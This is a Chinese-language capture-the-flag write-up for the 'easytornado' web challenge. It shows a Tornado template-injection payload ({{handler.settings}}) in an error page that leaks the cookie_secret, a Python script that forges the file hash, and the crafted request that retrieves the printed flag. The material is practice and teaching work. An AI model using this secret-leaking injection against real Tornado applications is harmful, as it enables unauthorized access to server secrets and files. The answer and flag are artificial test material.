攻防世界:easytornado
阿新 • • 發佈:2021-01-08
技術標籤:CTF_Web_Writeup
題目點開存在三個檔案
/flag.txt提醒我們flag存在的位置flag in /fllllllllllllag
/welcome.txt提醒render,render({options}) 猜測存在模板注入
/hints.txt提醒md5(cookie_secret+md5(filename))
即先將filename
md5加密,再將cookie_secret
與md5加密後的filename
進行md5加密,目前我們需要知道的是filename
和cookie_secret
,猜測檔名為/fllllllllllag
,也就是說,只要知道cookie_secret
訪問檔案的url中
要通過filehash進行訪問
嘗試訪問/fllllllllllag,發現存在錯誤頁面
頁面存在msg,嘗試
證實存在模板注入漏洞
通過查閱文件發現cookie_secret在Application物件settings屬性中,還發現self.application.settings有一個別名:
handler指向的處理當前這個頁面的RequestHandler物件,
RequestHandler.settings指向self.application.settings,
因此handler.settings指向RequestHandler.application.settings。
/error?msg={{handler.settings}}
得到cookie_secret
5e454feb-3c1e-4920-ab21-fac30bd8bfc6
利用指令碼構造
可利用線上網站進行編譯
python線上網站
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
def filehash():
filename = '/fllllllllllllag'
cookie_secret = '5e454feb-3c1e-4920-ab21-fac30bd8bfc6'
print(md5(cookie_secret+md5(filename)))
if __name__ == '__main__':
filehash()
構造payload
/file?filename=/fllllllllllllag&filehash=519e1f4f0e635af43559dca0f6c6f686
得到flag
Flag
flag{3f39aea39db345769397ae895edb9c70}